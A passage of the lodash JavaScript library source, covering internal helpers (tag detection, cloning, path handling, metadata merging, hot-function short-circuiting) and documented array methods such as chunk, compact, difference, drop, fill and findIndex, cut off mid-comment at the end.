      object = Object(object);
      return arrayFilter(nativeGetSymbols(object), function(symbol) {
        return propertyIsEnumerable.call(object, symbol);
      });
    };

    /**
     * Creates an array of the own and inherited enumerable symbols of `object`.
     *
     * @private
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of symbols.
     */
    var getSymbolsIn = !nativeGetSymbols ? stubArray : function(object) {
      var result = [];
      while (object) {
        arrayPush(result, getSymbols(object));
        object = getPrototype(object);
      }
      return result;
    };

    /**
     * Gets the `toStringTag` of `value`.
     *
     * @private
     * @param {*} value The value to query.
     * @returns {string} Returns the `toStringTag`.
     */
    var getTag = baseGetTag;

    // Fallback for data views, maps, sets, and weak maps in IE 11 and promises in Node.js < 6.
    if ((DataView && getTag(new DataView(new ArrayBuffer(1))) != dataViewTag) ||
        (Map && getTag(new Map) != mapTag) ||
        (Promise && getTag(Promise.resolve()) != promiseTag) ||
        (Set && getTag(new Set) != setTag) ||
        (WeakMap && getTag(new WeakMap) != weakMapTag)) {
      getTag = function(value) {
        var result = baseGetTag(value),
            Ctor = result == objectTag ? value.constructor : undefined,
            ctorString = Ctor ? toSource(Ctor) : '';

        if (ctorString) {
          switch (ctorString) {
            case dataViewCtorString: return dataViewTag;
            case mapCtorString: return mapTag;
            case promiseCtorString: return promiseTag;
            case setCtorString: return setTag;
            case weakMapCtorString: return weakMapTag;
          }
        }
        return result;
      };
    }

    /**
     * Gets the view, applying any `transforms` to the `start` and `end` positions.
     *
     * @private
     * @param {number} start The start of the view.
     * @param {number} end The end of the view.
     * @param {Array} transforms The transformations to apply to the view.
     * @returns {Object} Returns an object containing the `start` and `end`
     *  positions of the view.
     */
    function getView(start, end, transforms) {
      var index = -1,
          length = transforms.length;

      while (++index < length) {
        var data = transforms[index],
            size = data.size;

        switch (data.type) {
          case 'drop':      start += size; break;
          case 'dropRight': end -= size; break;
          case 'take':      end = nativeMin(end, start + size); break;
          case 'takeRight': start = nativeMax(start, end - size); break;
        }
      }
      return { 'start': start, 'end': end };
    }

    /**
     * Extracts wrapper details from the `source` body comment.
     *
     * @private
     * @param {string} source The source to inspect.
     * @returns {Array} Returns the wrapper details.
     */
    function getWrapDetails(source) {
      var match = source.match(reWrapDetails);
      return match ? match[1].split(reSplitDetails) : [];
    }

    /**
     * Checks if `path` exists on `object`.
     *
     * @private
     * @param {Object} object The object to query.
     * @param {Array|string} path The path to check.
     * @param {Function} hasFunc The function to check properties.
     * @returns {boolean} Returns `true` if `path` exists, else `false`.
     */
    function hasPath(object, path, hasFunc) {
      path = castPath(path, object);

      var index = -1,
          length = path.length,
          result = false;

      while (++index < length) {
        var key = toKey(path[index]);
        if (!(result = object != null && hasFunc(object, key))) {
          break;
        }
        object = object[key];
      }
      if (result || ++index != length) {
        return result;
      }
      length = object == null ? 0 : object.length;
      return !!length && isLength(length) && isIndex(key, length) &&
        (isArray(object) || isArguments(object));
    }

    /**
     * Initializes an array clone.
     *
     * @private
     * @param {Array} array The array to clone.
     * @returns {Array} Returns the initialized clone.
     */
    function initCloneArray(array) {
      var length = array.length,
          result = new array.constructor(length);

      // Add properties assigned by `RegExp#exec`.
      if (length && typeof array[0] == 'string' && hasOwnProperty.call(array, 'index')) {
        result.index = array.index;
        result.input = array.input;
      }
      return result;
    }

    /**
     * Initializes an object clone.
     *
     * @private
     * @param {Object} object The object to clone.
     * @returns {Object} Returns the initialized clone.
     */
    function initCloneObject(object) {
      return (typeof object.constructor == 'function' && !isPrototype(object))
        ? baseCreate(getPrototype(object))
        : {};
    }

    /**
     * Initializes an object clone based on its `toStringTag`.
     *
     * **Note:** This function only supports cloning values with tags of
     * `Boolean`, `Date`, `Error`, `Map`, `Number`, `RegExp`, `Set`, or `String`.
     *
     * @private
     * @param {Object} object The object to clone.
     * @param {string} tag The `toStringTag` of the object to clone.
     * @param {boolean} [isDeep] Specify a deep clone.
     * @returns {Object} Returns the initialized clone.
     */
    function initCloneByTag(object, tag, isDeep) {
      var Ctor = object.constructor;
      switch (tag) {
        case arrayBufferTag:
          return cloneArrayBuffer(object);

        case boolTag:
        case dateTag:
          return new Ctor(+object);

        case dataViewTag:
          return cloneDataView(object, isDeep);

        case float32Tag: case float64Tag:
        case int8Tag: case int16Tag: case int32Tag:
        case uint8Tag: case uint8ClampedTag: case uint16Tag: case uint32Tag:
          return cloneTypedArray(object, isDeep);

        case mapTag:
          return new Ctor;

        case numberTag:
        case stringTag:
          return new Ctor(object);

        case regexpTag:
          return cloneRegExp(object);

        case setTag:
          return new Ctor;

        case symbolTag:
          return cloneSymbol(object);
      }
    }

    /**
     * Inserts wrapper `details` in a comment at the top of the `source` body.
     *
     * @private
     * @param {string} source The source to modify.
     * @returns {Array} details The details to insert.
     * @returns {string} Returns the modified source.
     */
    function insertWrapDetails(source, details) {
      var length = details.length;
      if (!length) {
        return source;
      }
      var lastIndex = length - 1;
      details[lastIndex] = (length > 1 ? '& ' : '') + details[lastIndex];
      details = details.join(length > 2 ? ', ' : ' ');
      return source.replace(reWrapComment, '{\n/* [wrapped with ' + details + '] */\n');
    }

    /**
     * Checks if `value` is a flattenable `arguments` object or array.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is flattenable, else `false`.
     */
    function isFlattenable(value) {
      return isArray(value) || isArguments(value) ||
        !!(spreadableSymbol && value && value[spreadableSymbol]);
    }

    /**
     * Checks if `value` is a valid array-like index.
     *
     * @private
     * @param {*} value The value to check.
     * @param {number} [length=MAX_SAFE_INTEGER] The upper bounds of a valid index.
     * @returns {boolean} Returns `true` if `value` is a valid index, else `false`.
     */
    function isIndex(value, length) {
      var type = typeof value;
      length = length == null ? MAX_SAFE_INTEGER : length;

      return !!length &&
        (type == 'number' ||
          (type != 'symbol' && reIsUint.test(value))) &&
            (value > -1 && value % 1 == 0 && value < length);
    }

    /**
     * Checks if the given arguments are from an iteratee call.
     *
     * @private
     * @param {*} value The potential iteratee value argument.
     * @param {*} index The potential iteratee index or key argument.
     * @param {*} object The potential iteratee object argument.
     * @returns {boolean} Returns `true` if the arguments are from an iteratee call,
     *  else `false`.
     */
    function isIterateeCall(value, index, object) {
      if (!isObject(object)) {
        return false;
      }
      var type = typeof index;
      if (type == 'number'
            ? (isArrayLike(object) && isIndex(index, object.length))
            : (type == 'string' && index in object)
          ) {
        return eq(object[index], value);
      }
      return false;
    }

    /**
     * Checks if `value` is a property name and not a property path.
     *
     * @private
     * @param {*} value The value to check.
     * @param {Object} [object] The object to query keys on.
     * @returns {boolean} Returns `true` if `value` is a property name, else `false`.
     */
    function isKey(value, object) {
      if (isArray(value)) {
        return false;
      }
      var type = typeof value;
      if (type == 'number' || type == 'symbol' || type == 'boolean' ||
          value == null || isSymbol(value)) {
        return true;
      }
      return reIsPlainProp.test(value) || !reIsDeepProp.test(value) ||
        (object != null && value in Object(object));
    }

    /**
     * Checks if `value` is suitable for use as unique object key.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is suitable, else `false`.
     */
    function isKeyable(value) {
      var type = typeof value;
      return (type == 'string' || type == 'number' || type == 'symbol' || type == 'boolean')
        ? (value !== '__proto__')
        : (value === null);
    }

    /**
     * Checks if `func` has a lazy counterpart.
     *
     * @private
     * @param {Function} func The function to check.
     * @returns {boolean} Returns `true` if `func` has a lazy counterpart,
     *  else `false`.
     */
    function isLaziable(func) {
      var funcName = getFuncName(func),
          other = lodash[funcName];

      if (typeof other != 'function' || !(funcName in LazyWrapper.prototype)) {
        return false;
      }
      if (func === other) {
        return true;
      }
      var data = getData(other);
      return !!data && func === data[0];
    }

    /**
     * Checks if `func` has its source masked.
     *
     * @private
     * @param {Function} func The function to check.
     * @returns {boolean} Returns `true` if `func` is masked, else `false`.
     */
    function isMasked(func) {
      return !!maskSrcKey && (maskSrcKey in func);
    }

    /**
     * Checks if `func` is capable of being masked.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `func` is maskable, else `false`.
     */
    var isMaskable = coreJsData ? isFunction : stubFalse;

    /**
     * Checks if `value` is likely a prototype object.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a prototype, else `false`.
     */
    function isPrototype(value) {
      var Ctor = value && value.constructor,
          proto = (typeof Ctor == 'function' && Ctor.prototype) || objectProto;

      return value === proto;
    }

    /**
     * Checks if `value` is suitable for strict equality comparisons, i.e. `===`.
     *
     * @private
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` if suitable for strict
     *  equality comparisons, else `false`.
     */
    function isStrictComparable(value) {
      return value === value && !isObject(value);
    }

    /**
     * A specialized version of `matchesProperty` for source values suitable
     * for strict equality comparisons, i.e. `===`.
     *
     * @private
     * @param {string} key The key of the property to get.
     * @param {*} srcValue The value to match.
     * @returns {Function} Returns the new spec function.
     */
    function matchesStrictComparable(key, srcValue) {
      return function(object) {
        if (object == null) {
          return false;
        }
        return object[key] === srcValue &&
          (srcValue !== undefined || (key in Object(object)));
      };
    }

    /**
     * A specialized version of `_.memoize` which clears the memoized function's
     * cache when it exceeds `MAX_MEMOIZE_SIZE`.
     *
     * @private
     * @param {Function} func The function to have its output memoized.
     * @returns {Function} Returns the new memoized function.
     */
    function memoizeCapped(func) {
      var result = memoize(func, function(key) {
        if (cache.size === MAX_MEMOIZE_SIZE) {
          cache.clear();
        }
        return key;
      });

      var cache = result.cache;
      return result;
    }

    /**
     * Merges the function metadata of `source` into `data`.
     *
     * Merging metadata reduces the number of wrappers used to invoke a function.
     * This is possible because methods like `_.bind`, `_.curry`, and `_.partial`
     * may be applied regardless of execution order. Methods like `_.ary` and
     * `_.rearg` modify function arguments, making the order in which they are
     * executed important, preventing the merging of metadata. However, we make
     * an exception for a safe combined case where curried functions have `_.ary`
     * and or `_.rearg` applied.
     *
     * @private
     * @param {Array} data The destination metadata.
     * @param {Array} source The source metadata.
     * @returns {Array} Returns `data`.
     */
    function mergeData(data, source) {
      var bitmask = data[1],
          srcBitmask = source[1],
          newBitmask = bitmask | srcBitmask,
          isCommon = newBitmask < (WRAP_BIND_FLAG | WRAP_BIND_KEY_FLAG | WRAP_ARY_FLAG);

      var isCombo =
        ((srcBitmask == WRAP_ARY_FLAG) && (bitmask == WRAP_CURRY_FLAG)) ||
        ((srcBitmask == WRAP_ARY_FLAG) && (bitmask == WRAP_REARG_FLAG) && (data[7].length <= source[8])) ||
        ((srcBitmask == (WRAP_ARY_FLAG | WRAP_REARG_FLAG)) && (source[7].length <= source[8]) && (bitmask == WRAP_CURRY_FLAG));

      // Exit early if metadata can't be merged.
      if (!(isCommon || isCombo)) {
        return data;
      }
      // Use source `thisArg` if available.
      if (srcBitmask & WRAP_BIND_FLAG) {
        data[2] = source[2];
        // Set when currying a bound function.
        newBitmask |= bitmask & WRAP_BIND_FLAG ? 0 : WRAP_CURRY_BOUND_FLAG;
      }
      // Compose partial arguments.
      var value = source[3];
      if (value) {
        var partials = data[3];
        data[3] = partials ? composeArgs(partials, value, source[4]) : value;
        data[4] = partials ? replaceHolders(data[3], PLACEHOLDER) : source[4];
      }
      // Compose partial right arguments.
      value = source[5];
      if (value) {
        partials = data[5];
        data[5] = partials ? composeArgsRight(partials, value, source[6]) : value;
        data[6] = partials ? replaceHolders(data[5], PLACEHOLDER) : source[6];
      }
      // Use source `argPos` if available.
      value = source[7];
      if (value) {
        data[7] = value;
      }
      // Use source `ary` if it's smaller.
      if (srcBitmask & WRAP_ARY_FLAG) {
        data[8] = data[8] == null ? source[8] : nativeMin(data[8], source[8]);
      }
      // Use source `arity` if one is not provided.
      if (data[9] == null) {
        data[9] = source[9];
      }
      // Use source `func` and merge bitmasks.
      data[0] = source[0];
      data[1] = newBitmask;

      return data;
    }

    /**
     * This function is like
     * [`Object.keys`](http://ecma-international.org/ecma-262/7.0/#sec-object.keys)
     * except that it includes inherited enumerable properties.
     *
     * @private
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of property names.
     */
    function nativeKeysIn(object) {
      var result = [];
      if (object != null) {
        for (var key in Object(object)) {
          result.push(key);
        }
      }
      return result;
    }

    /**
     * Converts `value` to a string using `Object.prototype.toString`.
     *
     * @private
     * @param {*} value The value to convert.
     * @returns {string} Returns the converted string.
     */
    function objectToString(value) {
      return nativeObjectToString.call(value);
    }

    /**
     * A specialized version of `baseRest` which transforms the rest array.
     *
     * @private
     * @param {Function} func The function to apply a rest parameter to.
     * @param {number} [start=func.length-1] The start position of the rest parameter.
     * @param {Function} transform The rest array transform.
     * @returns {Function} Returns the new function.
     */
    function overRest(func, start, transform) {
      start = nativeMax(start === undefined ? (func.length - 1) : start, 0);
      return function() {
        var args = arguments,
            index = -1,
            length = nativeMax(args.length - start, 0),
            array = Array(length);

        while (++index < length) {
          array[index] = args[start + index];
        }
        index = -1;
        var otherArgs = Array(start + 1);
        while (++index < start) {
          otherArgs[index] = args[index];
        }
        otherArgs[start] = transform(array);
        return apply(func, this, otherArgs);
      };
    }

    /**
     * Gets the parent value at `path` of `object`.
     *
     * @private
     * @param {Object} object The object to query.
     * @param {Array} path The path to get the parent value of.
     * @returns {*} Returns the parent value.
     */
    function parent(object, path) {
      return path.length < 2 ? object : baseGet(object, baseSlice(path, 0, -1));
    }

    /**
     * Reorder `array` according to the specified indexes where the element at
     * the first index is assigned as the first element, the element at
     * the second index is assigned as the second element, and so on.
     *
     * @private
     * @param {Array} array The array to reorder.
     * @param {Array} indexes The arranged array indexes.
     * @returns {Array} Returns `array`.
     */
    function reorder(array, indexes) {
      var arrLength = array.length,
          length = nativeMin(indexes.length, arrLength),
          oldArray = copyArray(array);

      while (length--) {
        var index = indexes[length];
        array[length] = isIndex(index, arrLength) ? oldArray[index] : undefined;
      }
      return array;
    }

    /**
     * Gets the value at `key`, unless `key` is "__proto__" or "constructor".
     *
     * @private
     * @param {Object} object The object to query.
     * @param {string} key The key of the property to get.
     * @returns {*} Returns the property value.
     */
    function safeGet(object, key) {
      if (key === 'constructor' && typeof object[key] === 'function') {
        return;
      }

      if (key == '__proto__') {
        return;
      }

      return object[key];
    }

    /**
     * Sets metadata for `func`.
     *
     * **Note:** If this function becomes hot, i.e. is invoked a lot in a short
     * period of time, it will trip its breaker and transition to an identity
     * function to avoid garbage collection pauses in V8. See
     * [V8 issue 2070](https://bugs.chromium.org/p/v8/issues/detail?id=2070)
     * for more details.
     *
     * @private
     * @param {Function} func The function to associate metadata with.
     * @param {*} data The metadata.
     * @returns {Function} Returns `func`.
     */
    var setData = shortOut(baseSetData);

    /**
     * A simple wrapper around the global [`setTimeout`](https://mdn.io/setTimeout).
     *
     * @private
     * @param {Function} func The function to delay.
     * @param {number} wait The number of milliseconds to delay invocation.
     * @returns {number|Object} Returns the timer id or timeout object.
     */
    var setTimeout = ctxSetTimeout || function(func, wait) {
      return root.setTimeout(func, wait);
    };

    /**
     * Sets the `toString` method of `func` to return `string`.
     *
     * @private
     * @param {Function} func The function to modify.
     * @param {Function} string The `toString` result.
     * @returns {Function} Returns `func`.
     */
    var setToString = shortOut(baseSetToString);

    /**
     * Sets the `toString` method of `wrapper` to mimic the source of `reference`
     * with wrapper details in a comment at the top of the source body.
     *
     * @private
     * @param {Function} wrapper The function to modify.
     * @param {Function} reference The reference function.
     * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
     * @returns {Function} Returns `wrapper`.
     */
    function setWrapToString(wrapper, reference, bitmask) {
      var source = (reference + '');
      return setToString(wrapper, insertWrapDetails(source, updateWrapDetails(getWrapDetails(source), bitmask)));
    }

    /**
     * Creates a function that'll short out and invoke `identity` instead
     * of `func` when it's called `HOT_COUNT` or more times in `HOT_SPAN`
     * milliseconds.
     *
     * @private
     * @param {Function} func The function to restrict.
     * @returns {Function} Returns the new shortable function.
     */
    function shortOut(func) {
      var count = 0,
          lastCalled = 0;

      return function() {
        var stamp = nativeNow(),
            remaining = HOT_SPAN - (stamp - lastCalled);

        lastCalled = stamp;
        if (remaining > 0) {
          if (++count >= HOT_COUNT) {
            return arguments[0];
          }
        } else {
          count = 0;
        }
        return func.apply(undefined, arguments);
      };
    }

    /**
     * A specialized version of `_.shuffle` which mutates and sets the size of `array`.
     *
     * @private
     * @param {Array} array The array to shuffle.
     * @param {number} [size=array.length] The size of `array`.
     * @returns {Array} Returns `array`.
     */
    function shuffleSelf(array, size) {
      var index = -1,
          length = array.length,
          lastIndex = length - 1;

      size = size === undefined ? length : size;
      while (++index < size) {
        var rand = baseRandom(index, lastIndex),
            value = array[rand];

        array[rand] = array[index];
        array[index] = value;
      }
      array.length = size;
      return array;
    }

    /**
     * Converts `string` to a property path array.
     *
     * @private
     * @param {string} string The string to convert.
     * @returns {Array} Returns the property path array.
     */
    var stringToPath = memoizeCapped(function(string) {
      var result = [];
      if (string.charCodeAt(0) === 46 /* . */) {
        result.push('');
      }
      string.replace(rePropName, function(match, number, quote, subString) {
        result.push(quote ? subString.replace(reEscapeChar, '$1') : (number || match));
      });
      return result;
    });

    /**
     * Converts `value` to a string key if it's not a string or symbol.
     *
     * @private
     * @param {*} value The value to inspect.
     * @returns {string|symbol} Returns the key.
     */
    function toKey(value) {
      if (typeof value == 'string' || isSymbol(value)) {
        return value;
      }
      var result = (value + '');
      return (result == '0' && (1 / value) == -INFINITY) ? '-0' : result;
    }

    /**
     * Converts `func` to its source code.
     *
     * @private
     * @param {Function} func The function to convert.
     * @returns {string} Returns the source code.
     */
    function toSource(func) {
      if (func != null) {
        try {
          return funcToString.call(func);
        } catch (e) {}
        try {
          return (func + '');
        } catch (e) {}
      }
      return '';
    }

    /**
     * Updates wrapper `details` based on `bitmask` flags.
     *
     * @private
     * @returns {Array} details The details to modify.
     * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
     * @returns {Array} Returns `details`.
     */
    function updateWrapDetails(details, bitmask) {
      arrayEach(wrapFlags, function(pair) {
        var value = '_.' + pair[0];
        if ((bitmask & pair[1]) && !arrayIncludes(details, value)) {
          details.push(value);
        }
      });
      return details.sort();
    }

    /**
     * Creates a clone of `wrapper`.
     *
     * @private
     * @param {Object} wrapper The wrapper to clone.
     * @returns {Object} Returns the cloned wrapper.
     */
    function wrapperClone(wrapper) {
      if (wrapper instanceof LazyWrapper) {
        return wrapper.clone();
      }
      var result = new LodashWrapper(wrapper.__wrapped__, wrapper.__chain__);
      result.__actions__ = copyArray(wrapper.__actions__);
      result.__index__  = wrapper.__index__;
      result.__values__ = wrapper.__values__;
      return result;
    }

    /*------------------------------------------------------------------------*/

    /**
     * Creates an array of elements split into groups the length of `size`.
     * If `array` can't be split evenly, the final chunk will be the remaining
     * elements.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to process.
     * @param {number} [size=1] The length of each chunk
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Array} Returns the new array of chunks.
     * @example
     *
     * _.chunk(['a', 'b', 'c', 'd'], 2);
     * // => [['a', 'b'], ['c', 'd']]
     *
     * _.chunk(['a', 'b', 'c', 'd'], 3);
     * // => [['a', 'b', 'c'], ['d']]
     */
    function chunk(array, size, guard) {
      if ((guard ? isIterateeCall(array, size, guard) : size === undefined)) {
        size = 1;
      } else {
        size = nativeMax(toInteger(size), 0);
      }
      var length = array == null ? 0 : array.length;
      if (!length || size < 1) {
        return [];
      }
      var index = 0,
          resIndex = 0,
          result = Array(nativeCeil(length / size));

      while (index < length) {
        result[resIndex++] = baseSlice(array, index, (index += size));
      }
      return result;
    }

    /**
     * Creates an array with all falsey values removed. The values `false`, `null`,
     * `0`, `""`, `undefined`, and `NaN` are falsey.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to compact.
     * @returns {Array} Returns the new array of filtered values.
     * @example
     *
     * _.compact([0, 1, false, 2, '', 3]);
     * // => [1, 2, 3]
     */
    function compact(array) {
      var index = -1,
          length = array == null ? 0 : array.length,
          resIndex = 0,
          result = [];

      while (++index < length) {
        var value = array[index];
        if (value) {
          result[resIndex++] = value;
        }
      }
      return result;
    }

    /**
     * Creates a new array concatenating `array` with any additional arrays
     * and/or values.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to concatenate.
     * @param {...*} [values] The values to concatenate.
     * @returns {Array} Returns the new concatenated array.
     * @example
     *
     * var array = [1];
     * var other = _.concat(array, 2, [3], [[4]]);
     *
     * console.log(other);
     * // => [1, 2, 3, [4]]
     *
     * console.log(array);
     * // => [1]
     */
    function concat() {
      var length = arguments.length;
      if (!length) {
        return [];
      }
      var args = Array(length - 1),
          array = arguments[0],
          index = length;

      while (index--) {
        args[index - 1] = arguments[index];
      }
      return arrayPush(isArray(array) ? copyArray(array) : [array], baseFlatten(args, 1));
    }

    /**
     * Creates an array of `array` values not included in the other given arrays
     * using [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * for equality comparisons. The order and references of result values are
     * determined by the first array.
     *
     * **Note:** Unlike `_.pullAll`, this method returns a new array.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {...Array} [values] The values to exclude.
     * @returns {Array} Returns the new array of filtered values.
     * @see _.without, _.xor
     * @example
     *
     * _.difference([2, 1], [2, 3]);
     * // => [1]
     */
    var difference = baseRest(function(array, values) {
      return isArrayLikeObject(array)
        ? baseDifference(array, baseFlatten(values, 1, isArrayLikeObject, true))
        : [];
    });

    /**
     * This method is like `_.difference` except that it accepts `iteratee` which
     * is invoked for each element of `array` and `values` to generate the criterion
     * by which they're compared. The order and references of result values are
     * determined by the first array. The iteratee is invoked with one argument:
     * (value).
     *
     * **Note:** Unlike `_.pullAllBy`, this method returns a new array.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {...Array} [values] The values to exclude.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {Array} Returns the new array of filtered values.
     * @example
     *
     * _.differenceBy([2.1, 1.2], [2.3, 3.4], Math.floor);
     * // => [1.2]
     *
     * // The `_.property` iteratee shorthand.
     * _.differenceBy([{ 'x': 2 }, { 'x': 1 }], [{ 'x': 1 }], 'x');
     * // => [{ 'x': 2 }]
     */
    var differenceBy = baseRest(function(array, values) {
      var iteratee = last(values);
      if (isArrayLikeObject(iteratee)) {
        iteratee = undefined;
      }
      return isArrayLikeObject(array)
        ? baseDifference(array, baseFlatten(values, 1, isArrayLikeObject, true), getIteratee(iteratee, 2))
        : [];
    });

    /**
     * This method is like `_.difference` except that it accepts `comparator`
     * which is invoked to compare elements of `array` to `values`. The order and
     * references of result values are determined by the first array. The comparator
     * is invoked with two arguments: (arrVal, othVal).
     *
     * **Note:** Unlike `_.pullAllWith`, this method returns a new array.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {...Array} [values] The values to exclude.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns the new array of filtered values.
     * @example
     *
     * var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }];
     *
     * _.differenceWith(objects, [{ 'x': 1, 'y': 2 }], _.isEqual);
     * // => [{ 'x': 2, 'y': 1 }]
     */
    var differenceWith = baseRest(function(array, values) {
      var comparator = last(values);
      if (isArrayLikeObject(comparator)) {
        comparator = undefined;
      }
      return isArrayLikeObject(array)
        ? baseDifference(array, baseFlatten(values, 1, isArrayLikeObject, true), undefined, comparator)
        : [];
    });

    /**
     * Creates a slice of `array` with `n` elements dropped from the beginning.
     *
     * @static
     * @memberOf _
     * @since 0.5.0
     * @category Array
     * @param {Array} array The array to query.
     * @param {number} [n=1] The number of elements to drop.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * _.drop([1, 2, 3]);
     * // => [2, 3]
     *
     * _.drop([1, 2, 3], 2);
     * // => [3]
     *
     * _.drop([1, 2, 3], 5);
     * // => []
     *
     * _.drop([1, 2, 3], 0);
     * // => [1, 2, 3]
     */
    function drop(array, n, guard) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return [];
      }
      n = (guard || n === undefined) ? 1 : toInteger(n);
      return baseSlice(array, n < 0 ? 0 : n, length);
    }

    /**
     * Creates a slice of `array` with `n` elements dropped from the end.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to query.
     * @param {number} [n=1] The number of elements to drop.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * _.dropRight([1, 2, 3]);
     * // => [1, 2]
     *
     * _.dropRight([1, 2, 3], 2);
     * // => [1]
     *
     * _.dropRight([1, 2, 3], 5);
     * // => []
     *
     * _.dropRight([1, 2, 3], 0);
     * // => [1, 2, 3]
     */
    function dropRight(array, n, guard) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return [];
      }
      n = (guard || n === undefined) ? 1 : toInteger(n);
      n = length - n;
      return baseSlice(array, 0, n < 0 ? 0 : n);
    }

    /**
     * Creates a slice of `array` excluding elements dropped from the end.
     * Elements are dropped until `predicate` returns falsey. The predicate is
     * invoked with three arguments: (value, index, array).
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to query.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * var users = [
     *   { 'user': 'barney',  'active': true },
     *   { 'user': 'fred',    'active': false },
     *   { 'user': 'pebbles', 'active': false }
     * ];
     *
     * _.dropRightWhile(users, function(o) { return !o.active; });
     * // => objects for ['barney']
     *
     * // The `_.matches` iteratee shorthand.
     * _.dropRightWhile(users, { 'user': 'pebbles', 'active': false });
     * // => objects for ['barney', 'fred']
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.dropRightWhile(users, ['active', false]);
     * // => objects for ['barney']
     *
     * // The `_.property` iteratee shorthand.
     * _.dropRightWhile(users, 'active');
     * // => objects for ['barney', 'fred', 'pebbles']
     */
    function dropRightWhile(array, predicate) {
      return (array && array.length)
        ? baseWhile(array, getIteratee(predicate, 3), true, true)
        : [];
    }

    /**
     * Creates a slice of `array` excluding elements dropped from the beginning.
     * Elements are dropped until `predicate` returns falsey. The predicate is
     * invoked with three arguments: (value, index, array).
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to query.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * var users = [
     *   { 'user': 'barney',  'active': false },
     *   { 'user': 'fred',    'active': false },
     *   { 'user': 'pebbles', 'active': true }
     * ];
     *
     * _.dropWhile(users, function(o) { return !o.active; });
     * // => objects for ['pebbles']
     *
     * // The `_.matches` iteratee shorthand.
     * _.dropWhile(users, { 'user': 'barney', 'active': false });
     * // => objects for ['fred', 'pebbles']
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.dropWhile(users, ['active', false]);
     * // => objects for ['pebbles']
     *
     * // The `_.property` iteratee shorthand.
     * _.dropWhile(users, 'active');
     * // => objects for ['barney', 'fred', 'pebbles']
     */
    function dropWhile(array, predicate) {
      return (array && array.length)
        ? baseWhile(array, getIteratee(predicate, 3), true)
        : [];
    }

    /**
     * Fills elements of `array` with `value` from `start` up to, but not
     * including, `end`.
     *
     * **Note:** This method mutates `array`.
     *
     * @static
     * @memberOf _
     * @since 3.2.0
     * @category Array
     * @param {Array} array The array to fill.
     * @param {*} value The value to fill `array` with.
     * @param {number} [start=0] The start position.
     * @param {number} [end=array.length] The end position.
     * @returns {Array} Returns `array`.
     * @example
     *
     * var array = [1, 2, 3];
     *
     * _.fill(array, 'a');
     * console.log(array);
     * // => ['a', 'a', 'a']
     *
     * _.fill(Array(3), 2);
     * // => [2, 2, 2]
     *
     * _.fill([4, 6, 8, 10], '*', 1, 3);
     * // => [4, '*', '*', 10]
     */
    function fill(array, value, start, end) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return [];
      }
      if (start && typeof start != 'number' && isIterateeCall(array, value, start)) {
        start = 0;
        end = length;
      }
      return baseFill(array, value, start, end);
    }

    /**
     * This method is like `_.find` except that it returns the index of the first
     * element `predicate` returns truthy for instead of the element itself.
     *
     * @static
     * @memberOf _
     * @since 1.1.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @param {number} [fromIndex=0] The index to search from.
     * @returns {number} Returns the index of the found element, else `-1`.
     * @example
     *
     * var users = [
     *   { 'user': 'barney',  'active': false },
     *   { 'user': 'fred',    'active': false },
     *   { 'user': 'pebbles', 'active': true }
     * ];
     *
     * _.findIndex(users, function(o) { return o.user == 'barney'; });
     * // => 0
     *
     * // The `_.matches` iteratee shorthand.
     * _.findIndex(users, { 'user': 'fred', 'active': false });
     * // => 1
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.findIndex(users, ['active', false]);
     * // => 0
     *
     * // The `_.property` iteratee shorthand.
     * _.findIndex(users, 'active');
     * // => 2
     */
    function findIndex(array, predicate, fromIndex) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return -1;
      }
      var index = fromIndex == null ? 0 : toInteger(fromIndex);
      if (index < 0) {
        index = nativeMax(length + index, 0);
      }
      return baseFindIndex(array, getIteratee(predicate, 3), index);
    }

    /**
     * This method is like `_.findIndex` except that it iterates over elements
     * of `collection` from right to left.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @param {number} [fromIndex=array.length-1] The index to search from.
